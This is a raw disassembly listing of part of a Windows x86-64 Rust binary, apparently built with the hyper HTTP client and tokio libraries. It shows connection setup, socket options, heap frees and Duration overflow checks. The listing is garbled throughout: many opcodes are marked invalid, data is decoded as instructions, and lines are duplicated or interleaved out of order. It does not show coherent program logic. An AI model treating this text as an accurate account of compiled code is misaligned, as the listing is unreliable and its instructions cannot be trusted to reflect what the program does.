jmp 0x1400b69ea
mov r10, r13
jmp 0x1400b6981
xor edx, edx
div r9d
mov r8d, edx
mov r12d, eax
mov eax, ecx
xor edx, edx
div r10d
mov r10d, eax
mov eax, edx
imul rcx, r8, 0x3b9aca00
add rax, rcx
mov rcx, rax
shr rcx, 0x20
je 0x1400b68b5
xor edx, edx
div r9
jmp 0x1400b68ba
xor edx, edx
div r9d
mov r8, r13
add r10d, eax
cmp r10d, 0x3b9aca00
mov rdx, qword [rsp + 0x58]
mov r13, r12
jb 0x1400b68f4
mov eax, r10d
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
add r13, rax
jb 0x1400b7510
imul eax, eax, 0x3b9aca00
sub r10d, eax
mov dword [rsp + 0x48], r10d
mov eax, 2
jmp 0x1400b6bd7
xor edx, edx
div r9d
mov r8d, edx
mov qword [rsp + 0x40], rax
mov eax, ecx
xor edx, edx
div r10d
mov r12d, eax
mov eax, edx
imul rcx, r8, 0x3b9aca00
add rax, rcx
mov rcx, rax
shr rcx, 0x20
je 0x1400b6936
mov dword [rsp + 0x48], r9d
mov qword [rsp + 0x38], r14
mov eax, 2
test r12, r12
je 0x1400b69c3
mov rcx, qword [0x14017d208]
mov r13, rdx
xor edx, edx
mov r12, r8
mov r8, r10
mov r14, r11
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, 2
mov rdx, r13
mov r8, r12
mov r11, r14
mov r14, r12
jmp 0x1400b69c6
mov r14, r8
mov r13, qword [rsp + 0x40]
jmp 0x1400b6bd7
mov rbp, r10
mov r14, r11
mov dword [rsp + 0x48], 0x3b9aca00
jmp 0x1400b6a5c
xor edx, edx
div r8d
mov ecx, edx
mov r13d, eax
mov eax, ebp
xor edx, edx
div r9d
mov r9d, eax
mov eax, edx
imul rcx, rcx, 0x3b9aca00
add rax, rcx
mov rcx, rax
shr rcx, 0x20
je 0x1400b6a10
add r13, rax
jb 0x1400b7510
mov rbp, r10
mov r14, r11
imul eax, eax, 0x3b9aca00
rol byte [rax], 0xca
invalid
cmp eax, dword [rcx + 0x29]
rol dword [rcx + rcx*4 + 0x4c], 0x24
invalid
rol byte [rax], 0xca
invalid
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
lea rcx, [rsp + 0x90]
mov rdx, qword [rsp + 0x68]
push 0x24848b44
mov word [rax], es
add byte [rax], al
push 0x24848b44
mov word [rax], es
add byte [rax], al
call fcn.1400f5260
mov rcx, qword [rsp + 0x50]
test ecx, ecx
je 0x1400b6aad
mov r9d, ecx
mov rax, qword [rsp + 0x188]
add byte [rax], al
add byte [rax], al
mov rcx, rax
shr rcx, 0x20
mov r11, r14
mov r10, rbp
je 0x1400b6abf
invalid
invalid
xor edx, edx
div r9
mov r8, rdx
mov r14, rax
jmp 0x1400b6aca
mov r11, r14
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x58]
mov r10, rbp
jmp 0x1400b6b3e
xor edx, edx
div r9d
mov r8d, edx
mov r14d, eax
mov eax, dword [rsp + 0x88]
xor edx, edx
div dword [rsp + 0x50]
mov ecx, eax
mov eax, edx
imul rdx, r8, 0x3b9aca00
add rax, rdx
mov rdx, rax
shr rdx, 0x20
mov qword [rsp + 0x68], r14
je 0x1400b6afa
xor edx, edx
div r9
jmp case.0x140096763.142
xor edx, edx
div r9d
mov r8, qword [rsp + 0x70]
add ecx, eax
cmp ecx, 0x3b9aca00
mov rdx, qword [rsp + 0x58]
jb 0x1400b6b36
mov eax, ecx
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
add qword [rsp + 0x68], rax
jb 0x1400b755b
imul eax, eax, 0x3b9aca00
sub ecx, eax
mov r12d, ecx
mov rcx, qword [rsp + 0x50]
shl rcx, 5
add rcx, r10
mov qword [rsp + 0x50], rcx
mov r9, qword [rsp + 0x90]
movups xmm0, xmmword [rsp + 0x98]
movaps xmmword [rsp + 0x190], xmm0
sub dword [rsp + 0x190], eax
sub dword [rsp + 0x190], eax
movups xmm0, xmmword [rsp + 0xa8]
movaps xmmword [rsp + 0x1a0], xmm0
movups xmm0, xmmword [rsp + 0xb8]
movaps xmmword [rsp + 0x1b0], xmm0
movups xmm0, xmmword [rsp + 0xc8]
movaps xmmword [rsp + 0x1c0], xmm0
movups xmm0, xmmword [rsp + 0xd8]
movaps xmmword [rsp + 0x1d0], xmm0
movdqu xmm0, xmmword [rsp + 0xe8]
movdqa xmmword [rsp + 0x1e0], xmm0
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x1f0], rax
mov rax, r9
mov r14, r8
mov r9, qword [rsp + 0x78]
mov ebp, r12d
mov rcx, qword [rsp + 0x68]
mov r12, rsi
mov qword [rdi + 0x138], rax
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x1f0]
mov qword [r15 + 0x68], rax
movaps xmm0, xmmword [rsp + 0x1e0]
movups xmmword [r15 + 0x58], xmm0
movaps xmm0, xmmword [rsp + 0x1d0]
add dword [rax], eax
add byte [rcx + 0xf], al
adc dword [rdi + 0x48], eax
add dword [rax], eax
add byte [rcx + 0xf], al
adc dword [rdi + 0x48], eax
movdqa xmm0, xmmword [rsp + 0x190]
movaps xmm1, xmmword [rsp + 0x1a0]
movaps xmm2, xmmword [rsp + 0x1b0]
movaps xmm3, xmmword [rsp + 0x1c0]
movups xmmword [r15 + 0x38], xmm3
movups xmmword [r15 + 0x28], xmm2
movups xmmword [r15 + 0x18], xmm1
movdqu xmmword [r15 + 8], xmm0
mov qword [r15 + 0x70], r10
mov qword [r15 + 0x78], r10
mov qword [r15 + 0x80], r9
add byte [rax - 0x75], cl
and al, 0x50
add byte [rax - 0x75], cl
and al, 0x50
mov qword [r15 + 0x88], rax
mov qword [r15 + 0x90], rcx
nop
add byte [rax], al
add byte [rcx - 0x77], al
scasd eax, dword [rdi]
cwde
add byte [rax], al
add byte [rbp - 0x77], cl
invalid
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [r15 + 0xa8], r14
mov rax, qword [rsp + 0x38]
mov qword [r15 + 0xb0], rax
xchg dword [rax + 0x4d000000], esi
mov dword [rdi + 0xb8], ebx
xchg dword [rax + 0x4d000000], esi
mov dword [rdi + 0xb8], ebx
mov qword [r15 + 0xc0], r13
mov eax, dword [rsp + 0x48]
and al, 0x48
and al, 0x48
mov dword [r15 + 0xc8], eax
add rdx, 0x10
mov qword [r15 + 0xd0], rdx
lea r13, [rdi + 0x138]
add r15, 0xd8
lea rdx, [rsp + 0x1f8]
mov r8d, 0x918
add byte [rcx + rcx*4 - 7], cl
add byte [rcx + rcx*4 - 7], cl
call sub.VCRUNTIME140.dll_memcpy
lea r14, [rdi + 0xb28]
mov byte [rdi + 0xb28], 0
add byte [rax], al
invalid
add byte [rax], al
add dh, al
xchg dword [rcx], ebp
or eax, dword [rax]
add byte [rax], al
mov byte [rdi + 0xb29], 0
lea rcx, [rdi + 0x210]
mov r8d, 0xd8
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
ret
add al, 0
lea rsi, [rdi + 0x2b0]
cmp dword [rdi + 0x210], 2
mov qword [rsp + 0x38], r13
ret
and al, 0x38
jne 0x1400b6d5b
mov rax, qword [rdi + 0x2e0]
mov qword [rdi + 0xb30], rsi
mov qword [rdi + 0xb38], rax
xchg dword [rax], edi
or eax, dword [rax]
add dh, al
xchg dword [rax + 0xe], ebp
xchg dword [rax], edi
or eax, dword [rax]
add dh, al
xchg dword [rax + 0xe], ebp
mov rbp, qword [rsp + 0x30]
mov rsi, r12
lea rdx, [rdi + 0xb30]
lea rcx, [rsp + 0x90]
mov r8, rsi
call fcn.1400b75b0
mov r13, qword [rsp + 0x90]
cmp r13, 3
jne 0x1400b6e76
mov al, 3
jmp 0x1400b70ff
lea rcx, [rdi + 0x2e8]
mov r8d, 0xa0
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x2e0]
lea r15, [rdi + 0x388]
mov qword [rdi + 0x388], rsi
mov qword [rdi + 0x390], rax
mov byte [rdi + 0x700], 0
lea rcx, [rdi + 0x358]
lea rdx, [rdi + 0x708]
mov qword [rdi + 0x708], rcx
mov qword [rdi + 0x710], rax
mov byte [rdi + 0xa80], 0
mov qword [rdi + 0xb30], rdx
lea rax, [rdi + 0xa88]
movups xmm0, xmmword [r13]
movups xmm1, xmmword [r13 + 0x10]
movups xmm2, xmmword [r13 + 0x20]
movups xmm3, xmmword [r13 + 0x30]
movups xmmword [rdi + 0xa88], xmm0
movups xmmword [rdi + 0xa98], xmm1
movups xmmword [rdi + 0xaa8], xmm2
movups xmmword [rdi + 0xab8], xmm3
movups xmm0, xmmword [r13 + 0x40]
movups xmmword [rdi + 0xac8], xmm0
movups xmm0, xmmword [r13 + 0x50]
movups xmmword [rdi + 0xad8], xmm0
movdqu xmm0, xmmword [r13 + 0x60]
movdqu xmmword [rdi + 0xae8], xmm0
mov qword [rdi + 0xb38], r15
mov qword [rdi + 0xb40], rax
mov rbp, qword [rsp + 0x30]
mov rsi, r12
lea rcx, [rsp + 0x90]
mov rdx, r15
mov r8, rsi
call fcn.1400b75b0
mov rax, qword [rsp + 0x90]
mov r13, qword [rdi + 0xb40]
cmp rax, 3
jne case.0x140066038.348
movupd xmm6, xmmword [rsp + 0x98]
mov r15, qword [rsp + 0xa8]
mov r12, qword [rsp + 0xb0]
add byte [rax], al
mov ah, 0x24
cwde
add byte [rax], al
add byte [rbx + rcx*4 - 0x44], cl
and al, 0xa8
add byte [rax], al
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0xb0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0xea8bf], al
add byte [rbx], al
cmp byte [rdi + 0xea8], 3
jne 0x1400b7366
lea rcx, [rdi + 0xd20]
add byte [rax], al
add al, ch
sbb byte [rax], bl
add byte [rax], al
call fcn.1400b86c0
mov r8, qword [rdi + 0xb50]
test r8, r8
je 0x1400b7366
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x30], r14
cmp qword [rdi + 0xb58], 0
je 0x1400b6ed6
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp ah, byte [rbx + 0xc]
add byte [rcx], dh
sar bh, cl
adc eax, 0x5852a
mov r14, qword [rdi + 0xb60]
test r14, r14
test esi, esi
test esi, esi
je 0x1400b7361
mov rsi, qword [rdi + 0xb68]
mov rcx, r14
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x1400b7361
adc dword [rdx + 4], esi
mov r14, qword [r14 - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r14
jmp 0x1400b735b
add al, 0
invalid
add al, 0
add byte [rax - 0x75], cl
mov rcx, qword [rsp + 0x98]
movups xmm0, xmmword [rsp + 0xa0]
mov rcx, qword [rsp + 0x98]
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x170], xmm0
mov rdx, qword [rsp + 0xb0]
mov qword [rsp + 0x180], rdx
mov qword [rdi + 0xaf8], rax
mov qword [rdi + 0xb00], rcx
movaps xmm0, xmmword [rsp + 0x170]
and al, 0x70
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xb0
add byte [rax], al
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0x80
add dword [rax], eax
add byte [rax - 0x77], cl
xchg eax, edi
or al, byte [rax]
add byte [rax - 0x77], cl
pop qword [rax]
or eax, dword [rax]
add byte [rdi], cl
sub byte [rsp + 0x170], al
and al, 0x70
add dword [rax], eax
invalid
and al, 0x70
add dword [rax], eax
add byte [rdi], cl
adc dword [rdi + 0xb08], eax
movups xmmword [rdi + 0xb08], xmm0
mov rax, qword [rsp + 0x180]
mov qword [rdi + 0xb18], rax
or eax, dword [rax]
add byte [rcx + rcx*4 - 0x51], cl
and byte [rbx], cl
add byte [rax], al
and al, 0x80
add dword [rax], eax
add byte [rax - 0x77], cl
xchg dword [rax], ebx
or eax, dword [rax]
add byte [rcx + rcx*4 - 0x51], cl
and byte [rbx], cl
add byte [rax], al
mov qword [rsp + 0x120], rax
movaps xmmword [rsp + 0x110], xmm0
test byte [rax + rdx], ah
add dword [rax], eax
invalid
test byte [rax + riz], ah
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x110], eax
test byte [rax + rdx], ah
add dword [rax], eax
invalid
test byte [rax + rdx], ah
add dword [rax], eax
add byte [rax - 0x75], cl
mov rax, qword [rdi + 0xaf8]
mov qword [rsp + 0x100], rax
add byte [rax - 0x75], cl
xchg dword [rax], eax
add byte [rbx], cl
add byte [rax], al
xchg eax, edi
or al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rax], ah
add dword [rax], eax
add byte [rax - 0x75], cl
xchg dword [rax], eax
add byte [rbx], cl
add byte [rax], al
mov qword [rsp + 0x108], rax
mov r15, qword [rdi + 0xb30]
add byte [rbx], cl
add byte [rax], al
mov qword [rsp + 0x108], rax
mov r15, qword [rdi + 0xb30]
mov eax, 1
jmp 0x1400b707c
add byte [rax - 0x39], cl
xchg eax, edi
or al, byte [rax]
add byte [rbx], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x41], cl
add byte [rbx], cl
or eax, dword [rax]
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
test byte [rax + rsi*2], ah
add dword [rax], eax
add bl, dh
movq qword [rdi + 0xb08], mm0
or byte [rbx], cl
add byte [rax], al
or eax, dword [rax]
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
test byte [rax + rsi*2], ah
add dword [rax], eax
add bl, dh
movq qword [rdi + 0xb08], mm0
or byte [rbx], cl
add byte [rax], al
or byte [rbx], cl
add byte [rax], al
mov rax, qword [rsp + 0x180]
mov qword [rdi + 0xb18], rax
mov qword [rdi + 0xb20], r13
mov rax, qword [rdi + 0xb30]
add byte [rcx + rcx*4 - 0x41], cl
xor byte [rbx], cl
add byte [rax], al
add byte [rcx + rcx*4 - 0x41], cl
xor byte [rbx], cl
add byte [rax], al
mov qword [rdi + 0xb38], rax
lea r13, [rsp + 0x130]
mov rcx, r13
mov ecx, ebp
mov ecx, ebp
mov rdx, r15
cli
mov r8, rsi
call fcn.1400b75b0
cmp dword [rsp + 0x130], 3
mov rdx, qword [rdi + 0xb38]
xchg edi, eax
cmp byte [rbx], cl
add byte [rax], al
xchg edi, eax
cmp byte [rbx], cl
add byte [rax], al
jne 0x1400b7051
lea r13, [rsp + 0x90]
mov rcx, r13
mov r8, rsi
call fcn.1400b75b0
mov eax, 1
add byte [rax + 1], bh
cmp dword [rsp + 0x90], 3
jne 0x1400b7056
mov al, 5
jmp 0x1400b70ff
xor eax, eax
mov r15, rdx
ror byte [rcx - 0x77], 0xd7
mov rcx, qword [r13 + 0x20]
mov qword [rsp + 0x120], rcx
movups xmm0, xmmword [r13]
movups xmm1, xmmword [r13 + 0x10]
movaps xmmword [rsp + 0x110], xmm1
mov word [rax + rdx], fs
add dword [rax], eax
add byte [rax], al
mov word [rax + rdx], fs
add dword [rax], eax
add byte [rax], al
movaps xmmword [rsp + 0x100], xmm0
add byte [rax], al
movaps xmmword [rsp + 0x100], xmm0
mov byte [rdi + 0xb29], 1
mov rcx, qword [rsp + 0x100]
mov rdx, qword [rsp + 0x108]
and al, 8
add dword [rax], eax
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
test byte [rax + rdx], ah
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
xor byte [rbx], cl
add byte [rax], al
add byte [rax - 0x77], cl
xchg edi, eax
cmp byte [rbx], cl
add byte [rax], al
add dword [rax - 0x75], ecx
mov word [rax + rax], fs
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 8
add dword [rax], eax
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
test byte [rax + rdx], ah
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
add byte [rax - 0x77], cl
xchg edi, eax
cmp byte [rbx], cl
add byte [rax], al
movdqu xmmword [rdi + 0xb40], xmm0
mov rcx, qword [rsp + 0x120]
mov qword [rdi + 0xb50], rcx
mov r13, qword [rdi + 0xb30]
cmp r13, 2
jne 0x1400b713e
mov qword [rdi + 0xb58], rax
mov qword [rdi + 0xb60], r15
lea rcx, [rsp + 0x90]
mov rdx, r15
mov r8, rsi
call fcn.1400b75b0
mov r13, qword [rsp + 0x90]
cmp r13, 3
jne 0x1400b7159
mov al, 6
mov byte [r14], al
mov al, 4
mov r13, qword [rsp + 0x80]
mov byte [r13], al
mov qword [rbx], 3
add eax, dword [rbx]
add byte [rax], al
invalid
mov al, 3
add eax, dword [rbx]
add byte [rax], al
add byte [rax - 0x4f7877fd], dh
invalid
mov byte [rdi + 0xeb0], al
mov rax, rbx
movaps xmm6, xmmword [rsp + 0xb10]
add rsp, 0xb28
or eax, dword [rax]
add byte [rbx + 0x5d], bl
or eax, dword [rax]
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop r15
ret
movupd xmm6, xmmword [rdi + 0xb38]
cmp byte [rbx], cl
add byte [rax], al
mov r15, qword [rdi + 0xb48]
mov r12, qword [rdi + 0xb50]
add byte [rax], al
mov esp, dword [rdi + 0xb50]
jmp 0x1400b71f8
movupd xmm6, xmmword [rsp + 0x98]
mov r15, qword [rsp + 0xa8]
test al, 0
add byte [rax], al
mov r12, qword [rsp + 0xb0]
cmp byte [rdi + 0xb29], 0
je 0x1400b71f8
cmp dword [rdi + 0xb40], 0
je 0x1400b71a9
or eax, dword [rax]
add byte [rbp - 0x7b], cl
div byte [rax + rsi + 0x48]
mov esi, dword [rdi + 0xb50]
mov rcx, r14
mov ecx, esi
mov ecx, esi
call qword [rsi]
cmp qword [rsi + 8], 0
cmp dword [rsi + 8], 0
cmp dword [rsi + 8], 0
je 0x1400b71e5
cmp qword [rsi + 0x10], 0x11
jb 0x1400b71d3
mov r14, qword [r14 - 8]
clc
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r14
mov eax, esi
mov eax, esi
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rsp + 0x30]
jmp 0x1400b71f8
add al, ch
insd dword [rdi], dx
invalid
mov byte [rdi + 0xb29], 0
add byte [rax], al
add byte [rax - 0x73], cl
invalid
lea rcx, [rdi + 0xa88]
call fcn.1400ece20
lea rcx, [rdi + 0xa90]
invalid
nop
or al, byte [rax]
invalid
invalid
nop
or al, byte [rax]
add byte [rax - 0x7d], cl
cmp qword [rdi + 0xa88], 0
je 0x1400b722c
mov rax, qword [rcx]
cmp qword [rdi + 0xa88], 0
je 0x1400b722c
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400b723a
or byte [rbp + 0x15], dh
call fcn.140068e50
jmp 0x1400b723a
mov rax, qword [rcx]
lock dec qword [rax]
add eax, esi
dec qword [rax]
jne 0x1400b723a
call fcn.140069ba0
mov rax, qword [rdi + 0xad0]
test rax, rax
je 0x1400b7250
mov rcx, qword [rdi + 0xad8]
call qword [rax + 0x18]
push rax
invalid
push rax
sbb byte [rcx + rcx*4 + 0x74], cl
and al, 0x30
mov qword [rsp + 0x30], r14
cmp byte [rdi + 0xa80], 3
add byte [rbx], al
jne 0x1400b72cb
lea rcx, [rdi + 0x8f8]
call fcn.1400b86c0
mov r8, qword [rdi + 0x728]
sub byte [rdi], al
add byte [rax], al
sub byte [rdi], al
add byte [rax], al
test r8, r8
je 0x1400b72cb
cmp qword [rdi + 0x730], 0
je 0x1400b728f
mov rcx, qword [0x14017d208]
or eax, 0xc5f81
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
invalid
add eax, 0xb78b4c00
cmp byte [rdi], al
add byte [rax], al
mov r14, qword [rdi + 0x738]
test r14, r14
je 0x1400b72cb
mov rsi, qword [rdi + 0x740]
invalid
mov rcx, r14
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x1400b72cb
cmp qword [rsi + 0x10], 0x11
jb 0x1400b72b9
mov ecx, dword [0x14017d208]
or al, 0
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
invalid
add eax, 0xbf8000
add byte [rax + 0x700bf], al
add byte [rbx], al
cmp byte [rdi + 0x700], 3
invalid
jne 0x1400b7341
lea rcx, [rdi + 0x578]
call fcn.1400b86c0
add byte [rax], al
add byte [rax], al
mov r8, qword [rdi + 0x3a8]
test r8, r8
je 0x1400b7341
cmp qword [rdi + 0x3b0], 0
je 0x1400b7305
mov edi, 0x3b0
add byte [rdi + rcx + 0x48], dh
mov ecx, dword [0x14017d208]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
sar bh, cl
adc eax, 0x580fb
add byte [rbx + rcx*4 - 0x49], cl
mov eax, 0x4d000003
add byte [rax], al
test r14, r14
mov r14, qword [rdi + 0x3b8]
add byte [rax], al
test r14, r14
je 0x1400b7341
mov rsi, qword [rdi + 0x3c0]
mov rcx, r14
int1
int1
call qword [rsi]
cmp qword [rsi + 8], 0
cmp dword [rsi + 8], 0
cmp dword [rsi + 8], 0
je 0x1400b7341
cmp qword [rsi + 0x10], 0x11
jb 0x1400b732f
mov r14, qword [r14 - 8]
clc
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
add byte [rax - 0x7d], cl
mov edi, 0x368
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rdi + 0x358]
xchg dword [rax + 3], ebx
add byte [rax], al
cmp qword [rdi + 0x368], 0
je 0x1400b7361
mov r8, qword [rdi + 0x358]
xchg dword [rax + 3], ebx
add byte [rax], al
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add byte [0x1b496bf65], 0x24
xor byte [rax - 0x7d], cl
mov edi, 0x2c0
mov r14, qword [rsp + 0x30]
mov esi, dword [rsp + 0x30]
cmp qword [rdi + 0x2c0], 0
je 0x1400b7386
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rdi + 0x2b0]
mov r8, qword [rdi + 0x2b0]
mov rcx, qword [0x14017d208]
mov bl, byte [rsi + 0xc]
add byte [rcx], dh
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jp 0x1400b7304
invalid
invalid
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jp 0x1400b7304
invalid
invalid
jp 0x1400b7304
add eax, 0x6c64100
add dword [rax - 0x75], ecx
and al, 0x38
invalid
mov byte [r14], 1
mov rcx, qword [rsp + 0x38]
invalid
cmp al, ch
pushfq
adc eax, dword [rax]
add byte [rcx - 0x7d], al
std
add cl, byte [rdi]
test dh, dl
invalid
in eax, 0xff
dec dword [rcx - 0x7d]
invalid
invalid
invalid
call fcn.1400b8730
cmp r13d, 2
je 0x1400b5974
invalid
in eax, 0xff
invalid
invalid
cmp r15, 0xffffffffffffffff
je 0x1400b74af
mov rax, qword [rdi + 0x128]
mov rax, qword [rax]
movzx eax, byte [rax + 0x77]
mov dword [rsp + 0x1f8], eax
clc
add dword [rax], eax
add bh, al
and al, 0x20
add al, 0
add byte [rax], al
add byte [rax - 0x75], cl
add byte [rdi], cl
mov dh, 0x40
ja 0x1400b7340
test byte [rax + rdi*8], ah
clc
add dword [rax], eax
add bh, al
and al, 0x20
add al, 0
add byte [rax], al
lea r9, [rsp + 0x1f8]
mov rcx, r15
mov ecx, edi
mov ecx, edi
mov edx, 6
mov r8d, 1
mov eax, 1
mov eax, 1
add byte [rax], al
call qword [sym.imp.ws2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x1400b73ec
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
add dword [0x110caf3f3], 0x2000000
add eax, 0xd0bf8000
add byte [rax], al
add byte [rdx], al
cmp byte [rdi + 0xd0], 2
rol byte [rax], 1
add byte [rax], al
add dh, byte [rdx + 0x2b]
jb 0x1400b7420
mov r14, qword [rdi + 0xd8]
lea rcx, [r14 + 0x18]
lea ecx, [rsi + 0x18]
lea ecx, [rsi + 0x18]
sbb byte [rcx - 0x75], r9b
invalid
mov rax, qword [r14]
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
adc bh, bh
push rax
adc byte [rax - 0x75], cl
or eax, 0xc5df3
pop rbp
or al, 0
adc bh, bh
push rax
adc byte [rax - 0x75], cl
or eax, 0xc5df3
pop rbp
or al, 0
pop rbp
or al, 0
xor edx, edx
mov r8, r14
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
lea rcx, [rdi + 0xf8]
mov rax, qword [rdi + 0xe0]
loopne 0x1400b742c
add byte [rax], al
loopne 0x1400b742c
add byte [rax], al
add byte [rax - 0x75], cl
xchg edi, eax
call 0x18c0b7436
mov eax, dword [rdi + 0xf0]
add byte [rax], al
mov rdx, qword [rdi + 0xe8]
mov r8, qword [rdi + 0xf0]
add byte [rax], al
add byte [rax], al
call qword [rax + 0x10]
lea rcx, [rdi + 0x118]
invalid
sbb byte [rcx], al
add byte [rax], al
adc byte [rax - 0x73], cl
invalid
sbb byte [rcx], al
add byte [rax], al
mov rax, qword [rdi + 0x100]
mov rdx, qword [rdi + 0x108]
mov edx, dword [rdi + 0x108]
mov edx, dword [rdi + 0x108]
mov r8, qword [rdi + 0x110]
call qword [rax + 0x10]
invalid
xchg dword [rax], edx
add dword [rax], eax
add bh, bh
push rax
adc dh, al
xchg dword [rdx], esi
add dword [rax], eax
add byte [rcx], al
mov byte [rdi + 0x132], 1
jmp 0x1400b59f3
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
and eax, 0xbae80008
xlatb
add al, 0
call fcn.140104c30
mov edx, 0xb90004d7
add dword [rax], eax
add byte [rax], al
invalid
mov ecx, 1
add byte [rdx + 0x1f], bh
mov edx, 0x1f
add byte [rax], al
call fcn.140104360
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
lea ecx, [0x14013d2d0]
call fcn.140104c30
xlatb
add al, 0
mov ecx, 1
add dword [rax], eax
add byte [rax], al
mov edx, 0x1c
call fcn.140104360
add al, ch
ror dh, 4
add byte [rcx + 1], bh
mov ecx, 1
mov edx, 0x1e
call fcn.140104360
invalid
add byte [rax - 0x73], cl
or eax, 0x919da
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srciopoll_evented.rs
call fcn.140104a40
mov ecx, 1
mov edx, 9
call fcn.140104360
xchg esi, eax
invalid
add al, 0
add byte [rax], al
add al, ch
xchg esi, eax
invalid
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnectdns.rs
call fcn.140104c30
mov ecx, 4
mov edx, 0x20
add byte [rdx + 0x20], bh
call fcn.140104380
call fcn.140010910
xchg esp, eax
cmc
dec dword [rax - 0x73]
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
pop rbp
or byte [rax], al
call fcn.140104c30
add al, 0
mov ecx, 1
mov rdx, rbp
call fcn.140104360
add byte [rax - 0x77], cl
invalid
mov ecx, 4
mov rdx, r12
loop 0x1400b74f4
push rax
invalid
add al, 0
loop 0x1400b74f4
push rax
invalid
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x90], rax
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xb8236
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xb8236
mov qword [rsp + 0xa0], rax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0xa8], xmm0
lea rdx, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrarycore_src_time.rspT
lea rcx, [rsp + 0x90]
call fcn.140104620
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], 1
lea rax, [0x14016f768]
mov qword [rsp + 0x140], rax
mov dword [rsp + 0x140], eax
mov dword [rsp + 0x140], eax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x148], xmm0
movq qword [rsp + 0x148], mm0
lea rdx, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrarycore_src_time.rspT
lea rcx, [rsp + 0x130]
call fcn.140104620
ud2
mov rdi, qword [rsi + 0x28]
mov r12, qword [rsi + 0x30]
mov rbx, qword [rsi + 0x38]
jmp 0x1400b83f8
lea rdx, [rcx + 0x20]
mov qword [rax + 8], rdx
movzx ebp, word [rcx]
movups xmm0, xmmword [rcx + 2]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rsp + 0x1be], xmm1
movaps xmmword [rsp + 0x1b0], xmm0
cmp rbp, 2
je case.0x140094a12.176
pop rax
mov rax, qword [rsi + 0x10]
mov rbx, qword [rsi + 0x18]
mov r15, qword [rax + 0x20]
mov r12d, dword [rax + 0x28]
sub byte [rbx - 0x48f0b5ba], cl
jle 0x1400b7703
sub byte [rbx - 0x48f0b5ba], cl
jle 0x1400b7703
shl rdi, 0x20
or rdi, rax
mov rax, qword [rsi + 0x50]
mov qword [rsp + 0x138], rax
mov dword [rsp + 0x138], eax
mov dword [rsp + 0x138], eax
mov rax, qword [rsi + 0x58]
